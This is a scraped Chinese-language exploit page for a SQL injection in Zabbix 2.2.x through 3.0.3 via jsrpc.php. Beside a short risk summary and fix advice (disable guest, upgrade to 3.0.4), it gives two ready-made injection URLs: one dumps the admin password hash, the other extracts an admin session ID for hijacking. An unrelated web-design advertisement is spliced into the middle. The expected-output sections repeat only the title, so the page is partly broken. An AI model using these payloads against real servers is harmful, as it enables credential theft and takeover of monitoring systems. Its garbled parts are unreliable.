Zabbix2.2.x/2.4.x/3.0.0-3.0.3-SQLInjection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60

成都创新互联公司长期为成百上千客户提供的网站建设服务，团队从业经验10年，关注不同地域、不同群体，并针对不同对象提供差异化的产品和服务；打造开放共赢平台，与合作伙伴共同营造健康的互联网生态环境。为隆林企业提供专业的网站设计制作、成都网站建设，隆林网站改版等技术服务。拥有十年丰富建站经验和众多成功案例,为您定制开发。

***成本：低

危害程度：高

利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)

影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3

修复建议: 禁用guest用户或者升级到3.0.4

漏洞利用:

爆密码

sanr.com/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2 and updatexml(1,concat(0x3a,(select passwd from zabbix.users limit 0,1)),1))%23&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

输出结果，如下表示漏洞存在：

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

输出结果，如下表示禁用guest:

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

爆sessionid(在密码破解不了情况下可以使用session欺骗)

需要取掉爆出来sessionid前面的数字1，在进行修改zbx_sessionid的值。

sanr.com/zabbix/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select (1) from users where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(sessionid,0x7e,userid,0x7e,status) from sessions where status=0 and userid=1 LIMIT 0,1)),1,62)))a from information_schema.tables group by a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection